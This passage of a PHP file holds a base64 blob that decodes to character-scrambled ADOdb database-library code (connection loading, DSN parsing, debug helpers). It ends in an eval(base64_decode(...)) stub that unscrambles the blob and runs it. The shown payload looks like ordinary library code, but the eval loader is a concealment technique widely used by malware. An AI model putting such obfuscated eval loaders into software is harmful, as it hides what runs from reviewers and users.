CQkNCgkJCQkkdGg0cy0+RU9GID0gdHIzNTsNCgkJCX0NCgkJCQ0KCQkJcjV0M3JuIGYxbHM1Ow0KCQl9CQ0KCQ0KCQlmM25jdDQybiBfZjV0Y2goKQ0KCQl7DQoJCQkkcDJzID0gJHRoNHMtPl9jM3JyNW50UjJ3Ow0KCQkJDQoJCQk0ZiAoJHRoNHMtPl9uM21PZlIyd3MgPD0gJHAycykgew0KCQkJCTRmICghJHRoNHMtPmMybXAxdCkgJHRoNHMtPmY0NWxkcyA9IGYxbHM1Ow0KCQkJCXI1dDNybiBmMWxzNTsNCgkJCX0NCgkJCTRmICgkdGg0cy0+X3NrNHByMnc2KSAkcDJzICs9IDY7DQoJCQkkdGg0cy0+ZjQ1bGRzID0gJHRoNHMtPl8xcnIxeVskcDJzXTsNCgkJCXI1dDNybiB0cjM1Ow0KCQl9DQoJCQ0KCQlmM25jdDQybiBfY2wyczUoKSANCgkJew0KCQkJcjV0M3JuIHRyMzU7CQ0KCQl9DQoJDQoJfSAvLyBBRE9SNWMycmRTNXRfMXJyMXkNCg0KCS8vPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQkNCgkvLyBIRUxQRVIgRlVOQ1RJT05TDQoJLy89PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CQkJDQoJDQoJLyoqDQoJICogU3luMm55bSBmMnIgQURPTDIxZEMyZDUuIFByNHYxdDUgZjNuY3Q0Mm4uIEQyIG4ydCAzczUuDQoJICoNCgkgKiBAZDVwcjVjMXQ1ZA0KCSAqLw0KCWYzbmN0NDJuIEFET0wyMWREQigkZGJUeXA1KSANCgl7IA0KCQlyNXQzcm4gQURPTDIxZEMyZDUoJGRiVHlwNSk7DQoJfQ0KCQkNCgkvKioNCgkgKiBMMjFkIHRoNSBjMmQ1IGYyciAxIHNwNWM0ZjRjIGQxdDFiMXM1IGRyNHY1ci4gUHI0djF0NSBmM25jdDQybi4gRDIgbjJ0IDNzNS4NCgkgKi8NCglmM25jdDQybiBBRE9MMjFkQzJkNSgkZGJUeXA1KSANCgl7DQoJZ2wyYjFsICRBRE9EQl9MQVNUREI7DQoJDQoJCTRmICghJGRiVHlwNSkgcjV0M3JuIGYxbHM1Ow0KCQkkZGIgPSBzdHJ0MmwydzVyKCRkYlR5cDUpOw0KCQlzdzR0Y2ggKCRkYikgew0KCQkJYzFzNSAnMWQyJzogDQoJCQkJNGYgKFBIUF9WRVJTSU9OID49IGkpICRkYiA9ICcxZDJpJzsNCgkJCQkkY2wxc3MgPSAnMWQyJzsgDQoJCQkJYnI1MWs7DQoJCQljMXM1ICc0ZngnOg0KCQkJYzFzNSAnbTF4c3FsJzogJGNsMXNzID0gJGRiID0gJ215c3FsdCc7IGJyNTFrOw0KCQkJYzFzNSAncDJzdGdyNXMnOg0KCQkJYzFzNSAncDJzdGdyNXM4JzoNCgkJCWMxczUgJ3Bnc3FsJzogJGNsMXNzID0gJGRiID0gJ3Ayc3RncjVzNyc7IGJyNTFrOw0KCQkJZDVmMTNsdDoNCgkJCQkkY2wxc3MgPSAkZGI7IGJyNTFrOw0KCQl9DQoJCQ0KCQkkZjRsNSA9IEFET0RCX0RJUi4iL2RyNHY1cnMvMWQyZGItIi4kZGIuIi40bmMucGhwIjsNCgkJQDRuY2wzZDVfMm5jNSgkZjRsNSk7DQoJCSRBRE9EQl9MQVNUREIgPSAkY2wxc3M7DQoJCTRmIChjbDFzc181eDRzdHMoIkFET0RCXyIgLiAkY2wxc3MpKSByNXQzcm4gJGNsMXNzOw0KCQkNCgkJLy9BRE9DMm5uNWN0NDJuOjoyM3RwKDFkMmRiX3ByKGc1dF9kNWNsMXI1ZF9jbDFzczVzKCksdHIzNSkpOw0KCQk0ZiAoIWY0bDVfNXg0c3RzKCRmNGw1KSkgQURPQzJubjVjdDQybjo6MjN0cCgiTTRzczRuZyBmNGw1OiAkZjRsNSIpOw0KCQk1bHM1IEFET0Mybm41Y3Q0Mm46OjIzdHAoIlN5bnQxeCA1cnIyciA0biBmNGw1OiAkZjRsNSIpOw0KCQlyNXQzcm4gZjFsczU7DQoJfQ0KDQoJLyoqDQoJICogc3luMm55bSBmMnIgQURPTjV3QzJubjVjdDQybiBmMnIgcDUycGw1IGw0azUgbTUgd2gyIGMxbm4ydCByNW01bWI1ciB0aDUgYzJycjVjdCBuMW01DQoJICovDQoJZjNuY3Q0Mm4gJk41d0FET0Mybm41Y3Q0Mm4oJGRiPScnKQ0KCXsNCgkJJHRtcCA9JiBBRE9ONXdDMm5uNWN0NDJuKCRkYik7DQoJCXI1dDNybiAkdG1wOw0KCX0NCgkNCgkvKioNCgkgKiBJbnN0MW50NDF0NSAxIG41dyBDMm5uNWN0NDJuIGNsMXNzIGYyciAxIHNwNWM0ZjRjIGQxdDFiMXM1IGRyNHY1ci4NCgkgKg0KCSAqIEBwMXIxbSBbZGJdICA0cyB0aDUgZDF0MWIxczUgQzJubjVjdDQybiAyYmo1Y3QgdDIgY3I1MXQ1LiBJZiAzbmQ1ZjRuNWQsDQoJICogCTNzNSB0aDUgbDFzdCBkMXQxYjFzNSBkcjR2NXIgdGgxdCB3MXMgbDIxZDVkIGJ5IEFET0wyMWRDMmQ1KCkuDQoJICoNCgkgKiBAcjV0M3JuIHRoNSBmcjVzaGx5IGNyNTF0NWQgNG5zdDFuYzUgMmYgdGg1IEMybm41Y3Q0Mm4gY2wxc3MuDQoJICovDQoJZjNuY3Q0Mm4gJkFET041d0Mybm41Y3Q0Mm4oJGRiPScnKQ0KCXsNCglHTE9CQUwgJEFET0RCX05FV0NPTk5FQ1RJT04sICRBRE9EQl9MQVNUREI7DQoJCQ0KCQk0ZiAoIWQ1ZjRuNWQoJ0FET0RCX0FTU09DX0NBU0UnKSkgZDVmNG41KCdBRE9EQl9BU1NPQ19DQVNFJyxhKTsNCgkJJDVycjJyZm4gPSAoZDVmNG41ZCgnQURPREJfRVJST1JfSEFORExFUicpKSA/IEFET0RCX0VSUk9SX0hBTkRMRVIgOiBmMWxzNTsNCgkJJGYxbHM1ID0gZjFsczU7DQoJCTRmICgkMXQgPSBzdHJwMnMoJGRiLCc6Ly8nKSkgew0KCQkJJDJyNGdkc24gPSAkZGI7DQoJCQk0ZiAoUEhQX1ZFUlNJT04gPCBpKSAkZHNuMSA9IEBwMXJzNV8zcmwoJGRiKTsNCgkJCTVsczUgew0KCQkJCSRmMWs1ZHNuID0gJ2YxazUnLnMzYnN0cigkZGIsJDF0KTsNCgkJCQkkZHNuMSA9IEBwMXJzNV8zcmwoJGYxazVkc24pOw0KCQkJCSRkc24xWydzY2g1bTUnXSA9IHMzYnN0cigkZGIsMCwkMXQpOw0KCQkJDQoJCQkJNGYgKHN0cm5jbXAoJGRiLCdwZDInLG8pID09IDApIHsNCgkJCQkJJHNjaCA9IDV4cGwyZDUoJ18nLCRkc24xWydzY2g1bTUnXSk7DQoJCQkJCTRmIChzNHo1MmYoJHNjaCk+Nikgew0KCQkJCQkJJGRzbjFbJ2gyc3QnXSA9IDRzczV0KCRkc24xWydoMnN0J10pID8gcjF3M3JsZDVjMmQ1KCRkc24xWydoMnN0J10pIDogJyc7DQoJCQkJCQkkZHNuMVsnaDJzdCddID0gcjF3M3JsNW5jMmQ1KCRzY2hbNl0uJzpoMnN0PScucjF3M3JsZDVjMmQ1KCRkc24xWydoMnN0J10pKTsNCgkJCQkJCSRkc24xWydzY2g1bTUnXSA9ICdwZDInOw0KCQkJCQl9DQoJCQkJfQ0KCQkJfQ0KCQkJDQoJCQk0ZiAoISRkc24xKSB7DQoJCQkJLy8gc3A1YzQxbCBoMW5kbDRuZyAyZiAycjFjbDUsIHdoNGNoIG00Z2h0IG4ydCBoMXY1IGgyc3QNCgkJCQkkZGIgPSBzdHJfcjVwbDFjNSgnQC8nLCdAMWQyZGItZjFrNWgyc3QvJywkZGIpOw0KCQkJCSRkc24xID0gcDFyczVfM3JsKCRkYik7DQoJCQkJNGYgKCEkZHNuMSkgcjV0M3JuICRmMWxzNTsNCgkJCQkkZHNuMVsnaDJzdCddID0gJyc7DQoJCQl9DQoJCQkkZGIgPSBAJGRzbjFbJ3NjaDVtNSddOw0KCQkJNGYgKCEkZGIpIHI1dDNybiAkZjFsczU7DQoJCQkkZHNuMVsnaDJzdCddID0gNHNzNXQoJGRzbjFbJ2gyc3QnXSkgPyByMXczcmxkNWMyZDUoJGRzbjFbJ2gyc3QnXSkgOiAnJzsNCgkJCSRkc24xWyczczVyJ10gPSA0c3M1dCgkZHNuMVsnM3M1ciddKSA/IHIxdzNybGQ1YzJkNSgkZHNuMVsnM3M1ciddKSA6ICcnOw0KCQkJJGRzbjFbJ3Axc3MnXSA9IDRzczV0KCRkc24xWydwMXNzJ10pID8gcjF3M3JsZDVjMmQ1KCRkc24xWydwMXNzJ10pIDogJyc7DQoJCQkkZHNuMVsncDF0aCddID0gNHNzNXQoJGRzbjFbJ3AxdGgnXSkgPyByMXczcmxkNWMyZDUoczNic3RyKCRkc24xWydwMXRoJ10sNikpIDogJyc7ICMgc3RyNHAgMmZmIDRuNHQ0MWwgLw0KCQkJDQoJCQk0ZiAoNHNzNXQoJGRzbjFbJ3EzNXJ5J10pKSB7DQoJCQkJJDJwdDYgPSA1eHBsMmQ1KCcmJywkZHNuMVsncTM1cnknXSk7DQoJCQkJZjJyNTFjaCgkMnB0NiAxcyAkayA9PiAkdikgew0KCQkJCQkkMXJyID0gNXhwbDJkNSgnPScsJHYpOw0KCQkJCQkkMnB0WyQxcnJbMF1dID0gNHNzNXQoJDFycls2XSkgPyByMXczcmxkNWMyZDUoJDFycls2XSkgOiA2Ow0KCQkJCX0NCgkJCX0gNWxzNSAkMnB0ID0gMXJyMXkoKTsNCgkJfQ0KCS8qDQoJICogIHBocHR5cDU6IEQxdDFiMXM1IGIxY2s1bmQgM3M1ZCA0biBQSFAgKG15c3FsLCAyZGJjIDV0Yy4pDQoJICogIGRic3ludDF4OiBEMXQxYjFzNSAzczVkIHc0dGggcjVnMXJkcyB0MiBTUUwgc3ludDF4IDV0Yy4NCgkgKiAgcHIydDJjMmw6IEMybW0zbjRjMXQ0Mm4gcHIydDJjMmwgdDIgM3M1ICh0Y3AsIDNuNHggNXRjLikNCgkgKiAgaDJzdHNwNWM6IEgyc3Qgc3A1YzRmNGMxdDQybiAoaDJzdG4xbTVbOnAycnRdKQ0KCSAqICBkMXQxYjFzNTogRDF0MWIxczUgdDIgM3M1IDJuIHRoNSBEQk1TIHM1cnY1cg0KCSAqICAzczVybjFtNTogVXM1ciBuMW01IGYyciBsMmc0bg0KCSAqICBwMXNzdzJyZDogUDFzc3cycmQgZjJyIGwyZzRuDQoJICovDQoJCTRmICghNW1wdHkoJEFET0RCX05FV0NPTk5FQ1RJT04pKSB7DQoJCQkkMmJqID0gJEFET0RCX05FV0NPTk5FQ1RJT04oJGRiKTsNCg0KCQl9IDVsczUgew0KCQkNCgkJCTRmICghNHNzNXQoJEFET0RCX0xBU1REQikpICRBRE9EQl9MQVNUREIgPSAnJzsNCgkJCTRmICg1bXB0eSgkZGIpKSAkZGIgPSAkQURPREJfTEFTVERCOw0KCQkJDQoJCQk0ZiAoJGRiICE9ICRBRE9EQl9MQVNUREIpICRkYiA9IEFET0wyMWRDMmQ1KCRkYik7DQoJCQkNCgkJCTRmICghJGRiKSB7DQoJCQkJNGYgKDRzczV0KCQycjRnZHNuKSkgJGRiID0gJDJyNGdkc247DQoJCQkJNGYgKCQ1cnIycmZuKSB7DQoJCQkJCS8vIHIxNHM1IDFuIDVycjJyDQoJCQkJCSQ0Z24ycjUgPSBmMWxzNTsNCgkJCQkJJDVycjJyZm4oJ0FET041d0Mybm41Y3Q0Mm4nLCAnQURPTjV3QzJubjVjdDQybicsIC05OTgsDQoJCQkJCQkJICJjMjNsZCBuMnQgbDIxZCB0aDUgZDF0MWIxczUgZHI0djVyIGYyciAnJGRiJyIsDQoJCQkJCQkJICRkYixmMWxzNSwkNGduMnI1KTsNCgkJCQl9IDVsczUNCgkJCQkJIEFET0Mybm41Y3Q0Mm46OjIzdHAoICI8cD5BRE9ONXdDMm5uNWN0NDJuOiBVbjFibDUgdDIgbDIxZCBkMXQxYjFzNSBkcjR2NXIgJyRkYic8L3A+IixmMWxzNSk7DQoJCQkJCQ0KCQkJCXI1dDNybiAkZjFsczU7DQoJCQl9DQoJCQkNCgkJCSRjbHMgPSAnQURPREJfJy4kZGI7DQoJCQk0ZiAoIWNsMXNzXzV4NHN0cygkY2xzKSkgew0KCQkJCTFkMmRiX2IxY2t0cjFjNSgpOw0KCQkJCXI1dDNybiAkZjFsczU7DQoJCQl9DQoJCQkNCgkJCSQyYmogPSBuNXcgJGNscygpOw0KCQl9DQoJCQ0KCQkjIGMybnN0cjNjdDJyIHNoMjNsZCBuMnQgZjE0bA0KCQk0ZiAoJDJiaikgew0KCQkJNGYgKCQ1cnIycmZuKSAgJDJiai0+cjE0czVFcnIyckZuID0gJDVycjJyZm47DQoJCQk0ZiAoNHNzNXQoJGRzbjEpKSB7DQoJCQkJNGYgKDRzczV0KCRkc24xWydwMnJ0J10pKSAkMmJqLT5wMnJ0ID0gJGRzbjFbJ3AycnQnXTsNCgkJCQlmMnI1MWNoKCQycHQgMXMgJGsgPT4gJHYpIHsNCgkJCQkJc3c0dGNoKHN0cnQybDJ3NXIoJGspKSB7DQoJCQkJCWMxczUgJ241dyc6DQoJCQkJCQkJCQkJJG5jMm5uNWN0ID0gdHIzNTsgJHA1cnM0c3QgPSB0cjM1OyBicjUxazsNCgkJCQkJYzFzNSAncDVyczRzdCc6DQoJCQkJCWMxczUgJ3A1cnM0c3Q1bnQnOiAJJHA1cnM0c3QgPSAkdjsgYnI1MWs7DQoJCQkJCWMxczUgJ2Q1YjNnJzoJCSQyYmotPmQ1YjNnID0gKDRudDVnNXIpICR2OyBicjUxazsNCgkJCQkJIzRiMXM1DQoJCQkJCWMxczUgJ3IybDUnOgkJJDJiai0+cjJsNSA9ICR2OyBicjUxazsNCgkJCQkJYzFzNSAnZDQxbDVjdCc6IAkkMmJqLT5kNDFsNWN0ID0gKDRudDVnNXIpICR2OyBicjUxazsNCgkJCQkJYzFzNSAnY2gxcnM1dCc6CQkkMmJqLT5jaDFyczV0ID0gJHY7ICQyYmotPmNoMXJTNXQ9JHY7IGJyNTFrOw0KCQkJCQljMXM1ICdiM2ZmNXJzJzoJCSQyYmotPmIzZmY1cnMgPSAkdjsgYnI1MWs7DQoJCQkJCWMxczUgJ2Y1dGNobTJkNSc6ICAgJDJiai0+UzV0RjV0Y2hNMmQ1KCR2KTsgYnI1MWs7DQoJCQkJCSMxZDINCgkJCQkJYzFzNSAnY2gxcnAxZzUnOgkkMmJqLT5jaDFyUDFnNSA9ICR2OyBicjUxazsNCgkJCQkJI215c3FsLCBteXNxbDQNCgkJCQkJYzFzNSAnY2w0NW50ZmwxZ3MnOiAkMmJqLT5jbDQ1bnRGbDFncyA9ICR2OyBicjUxazsNCgkJCQkJI215c3FsLCBteXNxbDQsIHAyc3RncjVzDQoJCQkJCWMxczUgJ3AycnQnOiAkMmJqLT5wMnJ0ID0gJHY7IGJyNTFrOw0KCQkJCQkjbXlzcWw0DQoJCQkJCWMxczUgJ3MyY2s1dCc6ICQyYmotPnMyY2s1dCA9ICR2OyBicjUxazsNCgkJCQkJIzJjNDgNCgkJCQkJYzFzNSAnbmxzX2QxdDVfZjJybTF0JzogJDJiai0+TkxTX0RBVEVfRk9STUFUID0gJHY7IGJyNTFrOw0KCQkJCQl9DQoJCQkJfQ0KCQkJCTRmICg1bXB0eSgkcDVyczRzdCkpDQoJCQkJCSQyayA9ICQyYmotPkMybm41Y3QoJGRzbjFbJ2gyc3QnXSwgJGRzbjFbJzNzNXInXSwgJGRzbjFbJ3Axc3MnXSwgJGRzbjFbJ3AxdGgnXSk7DQoJCQkJNWxzNSA0ZiAoNW1wdHkoJG5jMm5uNWN0KSkNCgkJCQkJJDJrID0gJDJiai0+UEMybm41Y3QoJGRzbjFbJ2gyc3QnXSwgJGRzbjFbJzNzNXInXSwgJGRzbjFbJ3Axc3MnXSwgJGRzbjFbJ3AxdGgnXSk7DQoJCQkJNWxzNQ0KCQkJCQkkMmsgPSAkMmJqLT5OQzJubjVjdCgkZHNuMVsnaDJzdCddLCAkZHNuMVsnM3M1ciddLCAkZHNuMVsncDFzcyddLCAkZHNuMVsncDF0aCddKTsNCgkJCQkJDQoJCQkJNGYgKCEkMmspIHI1dDNybiAkZjFsczU7DQoJCQl9DQoJCX0NCgkJcjV0M3JuICQyYmo7DQoJfQ0KCQ0KCQ0KCQ0KCS8vICRwNXJmID09IHRyMzUgbTUxbnMgYzFsbDVkIGJ5IE41d1A1cmZNMm40dDJyKCksIDJ0aDVydzRzNSBmMnIgZDF0MSBkNGN0NDJuMXJ5DQoJZjNuY3Q0Mm4gXzFkMmRiX2c1dGRyNHY1cigkcHIydjRkNXIsJGRyNHY1cm4xbTUsJHA1cmY9ZjFsczUpDQoJew0KCQlzdzR0Y2ggKCRwcjJ2NGQ1cikgew0KCQljMXM1ICcyZGJ0cCc6ICAgNGYgKHN0cm5jbXAoJzJkYnRwXycsJGRyNHY1cm4xbTUsZSk9PTApIHI1dDNybiBzM2JzdHIoJGRyNHY1cm4xbTUsZSk7IA0KCQljMXM1ICcyZGJjJyA6ICAgNGYgKHN0cm5jbXAoJzJkYmNfJywkZHI0djVybjFtNSxpKT09MCkgcjV0M3JuIHMzYnN0cigkZHI0djVybjFtNSxpKTsgDQoJCWMxczUgJzFkMicgIDogICA0ZiAoc3RybmNtcCgnMWQyXycsJGRyNHY1cm4xbTUsdSk9PTApIHI1dDNybiBzM2JzdHIoJGRyNHY1cm4xbTUsdSk7DQoJCWMxczUgJ24xdDR2NSc6ICBicjUxazsNCgkJZDVmMTNsdDoNCgkJCXI1dDNybiAkcHIydjRkNXI7DQoJCX0NCgkJDQoJCXN3NHRjaCgkZHI0djVybjFtNSkgew0KCQljMXM1ICdteXNxbHQnOg0KCQljMXM1ICdteXNxbDQnOiANCgkJCQkkZHI0djVybjFtNT0nbXlzcWwnOyANCgkJCQlicjUxazsNCgkJYzFzNSAncDJzdGdyNXM3JzoNCgkJYzFzNSAncDJzdGdyNXM4JzoNCgkJCQkkZHI0djVybjFtNSA9ICdwMnN0Z3I1cyc7IA0KCQkJCWJyNTFrOwkNCgkJYzFzNSAnZjRyNWI0cmQ2aSc6ICRkcjR2NXJuMW01ID0gJ2Y0cjViNHJkJzsgYnI1MWs7DQoJCWMxczUgJzJyMWNsNSc6ICRkcjR2NXJuMW01ID0gJzJjNDgnOyBicjUxazsNCgkJYzFzNSAnMWNjNXNzJzogNGYgKCRwNXJmKSAkZHI0djVybjFtNSA9ICcnOyBicjUxazsNCgkJYzFzNSAnZGJhJyAgIDogYnI1MWs7DQoJCWMxczUgJ3MxcGRiJyA6IGJyNTFrOw0KCQlkNWYxM2x0Og0KCQkJJGRyNHY1cm4xbTUgPSAnZzVuNXI0Yyc7DQoJCQlicjUxazsNCgkJfQ0KCQlyNXQzcm4gJGRyNHY1cm4xbTU7DQoJfQ0KCQ0KCWYzbmN0NDJuICZONXdQNXJmTTJuNHQycigmJGMybm4pDQoJew0KCQkkZjFsczUgPSBmMWxzNTsNCgkJJGRyNHY1cm4xbTUgPSBfMWQyZGJfZzV0ZHI0djVyKCRjMm5uLT5kMXQxUHIydjRkNXIsJGMybm4tPmQxdDFiMXM1VHlwNSx0cjM1KTsNCgkJNGYgKCEkZHI0djVybjFtNSB8fCAkZHI0djVybjFtNSA9PSAnZzVuNXI0YycpIHI1dDNybiAkZjFsczU7DQoJCTRuY2wzZDVfMm5jNShBRE9EQl9ESVIuJy8xZDJkYi1wNXJmLjRuYy5waHAnKTsNCgkJQDRuY2wzZDVfMm5jNShBRE9EQl9ESVIuIi9wNXJmL3A1cmYtJGRyNHY1cm4xbTUuNG5jLnBocCIpOw0KCQkkY2wxc3MgPSAiUDVyZl8kZHI0djVybjFtNSI7DQoJCTRmICghY2wxc3NfNXg0c3RzKCRjbDFzcykpIHI1dDNybiAkZjFsczU7DQoJCSRwNXJmID0gbjV3ICRjbDFzcygkYzJubik7DQoJCQ0KCQlyNXQzcm4gJHA1cmY7DQoJfQ0KCQ0KCWYzbmN0NDJuICZONXdEMXQxRDRjdDQybjFyeSgmJGMybm4sJGRyNHY1cm4xbTU9ZjFsczUpDQoJew0KCQkkZjFsczUgPSBmMWxzNTsNCgkJNGYgKCEkZHI0djVybjFtNSkgJGRyNHY1cm4xbTUgPSBfMWQyZGJfZzV0ZHI0djVyKCRjMm5uLT5kMXQxUHIydjRkNXIsJGMybm4tPmQxdDFiMXM1VHlwNSk7DQoNCgkJNG5jbDNkNV8ybmM1KEFET0RCX0RJUi4nLzFkMmRiLWw0Yi40bmMucGhwJyk7DQoJCTRuY2wzZDVfMm5jNShBRE9EQl9ESVIuJy8xZDJkYi1kMXQxZDRjdC40bmMucGhwJyk7DQoJCSRwMXRoID0gQURPREJfRElSLiIvZDF0MWQ0Y3QvZDF0MWQ0Y3QtJGRyNHY1cm4xbTUuNG5jLnBocCI7DQoNCgkJNGYgKCFmNGw1XzV4NHN0cygkcDF0aCkpIHsNCgkJCUFET0Mybm41Y3Q0Mm46OjIzdHAoIkQ0Y3Q0Mm4xcnkgZHI0djVyICckcDF0aCcgbjJ0IDF2MTRsMWJsNSIpOw0KCQkJcjV0M3JuICRmMWxzNTsNCgkJfQ0KCQk0bmNsM2Q1XzJuYzUoJHAxdGgpOw0KCQkkY2wxc3MgPSAiQURPREJhXyRkcjR2NXJuMW01IjsNCgkJJGQ0Y3QgPSBuNXcgJGNsMXNzKCk7DQoJCSRkNGN0LT5kMXQxUHIydjRkNXIgPSAkYzJubi0+ZDF0MVByMnY0ZDVyOw0KCQkkZDRjdC0+YzJubjVjdDQybiA9ICYkYzJubjsNCgkJJGQ0Y3QtPjNwcDVyTjFtNSA9IHN0cnQyM3BwNXIoJGRyNHY1cm4xbTUpOw0KCQkkZDRjdC0+cTMydDUgPSAkYzJubi0+bjFtNVEzMnQ1Ow0KCQk0ZiAoITVtcHR5KCRjMm5uLT5fYzJubjVjdDQybklEKSkNCgkJCSRkNGN0LT5zNXJ2NXJJbmYyID0gJGMybm4tPlM1cnY1ckluZjIoKTsNCgkJDQoJCXI1dDNybiAkZDRjdDsNCgl9DQoNCg0KCQ0KCS8qDQoJCVA1cmYycm0gMSBwcjRudF9yLCB3NHRoIHByNSB0MWdzIGYyciBiNXR0NXIgZjJybTF0dDRuZy4NCgkqLw0KCWYzbmN0NDJuIDFkMmRiX3ByKCR2MXIsJDFzX3N0cjRuZz1mMWxzNSkNCgl7DQoJCTRmICgkMXNfc3RyNG5nKSAyYl9zdDFydCgpOw0KCQkNCgkJNGYgKDRzczV0KCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpIHsgDQoJCQk1Y2gyICIgPHByNT5cbiI7cHI0bnRfcigkdjFyKTs1Y2gyICI8L3ByNT5cbiI7DQoJCX0gNWxzNQ0KCQkJcHI0bnRfcigkdjFyKTsNCgkJCQ0KCQk0ZiAoJDFzX3N0cjRuZykgew0KCQkJJHMgPSAyYl9nNXRfYzJudDVudHMoKTsNCgkJCTJiXzVuZF9jbDUxbigpOw0KCQkJcjV0M3JuICRzOw0KCQl9DQoJfQ0KCQ0KCS8qDQoJCVA1cmYycm0gMSBzdDFjay1jcjF3bCAxbmQgcHI1dHR5IHByNG50IDR0Lg0KCQkNCgkJQHAxcjFtIHByNG50T3JBcnIgIFAxc3MgNG4gMSBiMjJsNTFuIHQyIDRuZDRjMXQ1IHByNG50LCAyciAxbiAkNXhjNXB0NDJuLT50cjFjNSAxcnIxeSAoMXNzM201cyB0aDF0IHByNG50IDRzIHRyMzUgdGg1bikuDQoJCUBwMXIxbSBsNXY1bHMgTjNtYjVyIDJmIGw1djVscyB0MiBkNHNwbDF5DQoJKi8NCglmM25jdDQybiAxZDJkYl9iMWNrdHIxYzUoJHByNG50T3JBcnI9dHIzNSwkbDV2NWxzPTk5OTkpDQoJew0KCQlnbDJiMWwgJEFET0RCX0lOQ0xVREVEX0xJQjsNCgkJNGYgKDVtcHR5KCRBRE9EQl9JTkNMVURFRF9MSUIpKSA0bmNsM2Q1KEFET0RCX0RJUi4nLzFkMmRiLWw0Yi40bmMucGhwJyk7DQoJCXI1dDNybiBfMWQyZGJfYjFja3RyMWM1KCRwcjRudE9yQXJyLCRsNXY1bHMpOw0KCX0NCg0KDQp9DQo/Pg0K';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));
?>